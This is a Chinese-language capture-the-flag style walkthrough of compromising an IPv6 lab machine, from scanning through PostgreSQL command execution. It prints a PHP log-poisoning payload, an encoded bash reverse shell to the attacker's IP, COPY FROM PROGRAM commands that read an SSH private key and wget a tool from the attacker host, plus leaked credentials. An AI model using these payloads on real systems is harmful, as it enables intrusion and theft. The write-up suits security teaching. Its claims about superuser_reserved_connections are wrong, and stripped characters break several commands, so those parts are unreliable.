IPv6环境下Web渗透与PostgreSQL提权实战
1. 项目概述IPv6环境下的Web渗透实战在最近的一次渗透测试项目中我遇到了一个典型的IPv6环境靶机。这个名为Ipeuveseis的靶机部署在本地虚拟网络中看似简单的Web应用背后隐藏着从信息收集到权限提升的完整攻击链。本文将详细记录从初始探测到最终提权的完整过程特别聚焦IPv6环境下的渗透技巧和PostgreSQL数据库提权方法。2. 信息收集与目标识别2.1 初始网络扫描使用Kali Linux作为攻击机首先通过ARP扫描识别局域网内存活主机arp-scan -I eth0 -l扫描结果显示目标IP为192.168.0.103MAC地址08:00:27:3f:1b:02。然而对IPv4地址进行全端口扫描时却一无所获nmap -sC -sV 192.168.0.103 -n -vv -min-rate2000 -p-这个结果提示我们可能需要关注IPv6。通过ping6命令探测IPv6存活主机ping6 -I eth0 ff02::1%eth02.2 IPv6端口发现对发现的IPv6地址进行针对性扫描nmap -6 -sS -n -vv --top-ports 100 fe80::a00:27ff:fe3f:1b02%eth0扫描结果显示开放了22(SSH)和8080(HTTP)端口。由于IPv6地址的本地链路特性我们需要使用socat进行端口转发socat TCP6-LISTEN:8081,bind::,fork TCP6:[fe80::a00:27ff:fe3f:1b02%eth0]:8080 3. Web应用渗透3.1 认证绕过与漏洞发现访问本地的8081端口后发现一个登录页面。使用Burp Suite进行暴力破解成功获取管理员凭证(admin/admin123)。登录后在日志查看页面查看源代码时发现开发者注释暴露出LFI(本地文件包含)漏洞!-- Developer Notes: Log viewer for monitoring system access. Logs are stored in /var/log/apache2/ Debug mode: Add ?file/path/to/file to view other files Example: ?file/etc/passwd Configuration files in /var/www/config/ --3.2 日志投毒攻击利用Apache日志文件实现RCE的步骤通过User-Agent注入PHP代码User-Agent: ?php system($_GET[cmd]); ?访问包含恶意User-Agent的页面污染日志通过LFI执行命令http://localhost:8081/logs.php?file/var/log/apache2/access.logcmdid3.3 获取反向Shell创建反弹shell脚本shell.shecho -n YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzEyMzQgMD4mMQo | base64 -d | /bin/bash通过LFI漏洞执行该脚本成功获取www-data权限的shell。4. 权限提升PostgreSQL提权4.1 环境侦察在获取的shell中发现关键数据库配置文件// /var/www/config/database.php define(DB_HOST, getenv(DB_HOST) ?: fd00:1337:1::20); define(DB_PORT, getenv(DB_PORT) ?: 5432); define(DB_NAME, getenv(DB_NAME) ?: database); define(DB_USER, getenv(DB_USER) ?: user); define(DB_PASS, getenv(DB_PASS) ?: jec41Ew98zB4ch3nM0vP); // Super Admin credentials: // User: superadmin // Pass: jHt9b8u5whZ55551zlY14.2 PostgreSQL命令执行使用superadmin账户连接数据库后发现可以利用COPY FROM PROGRAM执行系统命令-- 创建临时表存储命令输出 CREATE TABLE test_output (output text); -- 执行系统命令 COPY test_output FROM PROGRAM id; SELECT * FROM test_output; -- 查看网络配置 COPY test_output FROM PROGRAM ip a; SELECT * FROM test_output; -- 获取postgres用户SSH密钥 COPY test_output FROM PROGRAM cat /home/postgres/.ssh/id_rsa; SELECT * FROM test_output;4.3 完整提权过程确认PostgreSQL服务运行用户COPY test_output FROM PROGRAM id; -- 输出uid70(postgres) gid70(postgres) groups70(postgres)下载socat工具建立隧道COPY test_output FROM PROGRAM wget http://[fd00:1337:1::10]/socat -O /home/postgres/.ssh/socat; COPY test_output FROM PROGRAM chmod x /home/postgres/.ssh/socat;获取SSH私钥后尝试连接chmod 600 postgres_id_rsa ssh -i postgres_id_rsa postgresfd00:1337:1::205. 技术细节与原理分析5.1 IPv6渗透的特殊考量地址表示差异IPv6的本地链路地址(fe80::/10)需要附加接口标识(如%eth0)工具兼容性部分工具需要明确指定IPv6模式(-6参数)扫描策略IPv6地址空间巨大需要针对性扫描已知主机5.2 PostgreSQL提权机制PostgreSQL的COPY FROM PROGRAM命令允许数据库超级用户执行操作系统命令。关键条件必须是超级用户或具有pg_execute_server_program权限的用户在postgresql.conf中启用superuser_reserved_connections没有配置适当的pg_hba.conf限制6. 防御建议6.1 针对开发人员永远不要在代码中硬编码凭据使用环境变量或配置管理工具禁用或过滤Web应用中的开发者注释对文件包含功能实施严格的白名单控制6.2 针对系统管理员为PostgreSQL创建专用低权限账户运行服务在postgresql.conf中设置superuser_reserved_connections 0定期审计数据库用户权限6.3 网络层面IPv6和IPv4应实施同等安全策略对数据库服务实施网络分段监控异常数据库查询模式7. 经验总结这个靶机渗透过程展示了几个关键安全教训不要忽视IPv6许多安全工具默认只扫描IPv4IPv6可能成为被忽视的攻击面开发者注释是双刃剑方便的调试信息可能成为攻击者的路标数据库权限需要最小化即使是内部系统也应遵循最小权限原则纵深防御的重要性从Web应用到数据库的多层防护才能有效降低风险在实际渗透测试中这种从Web应用到系统层的完整攻击链很常见。理解每个环节的原理和防御方法才能构建更安全的系统。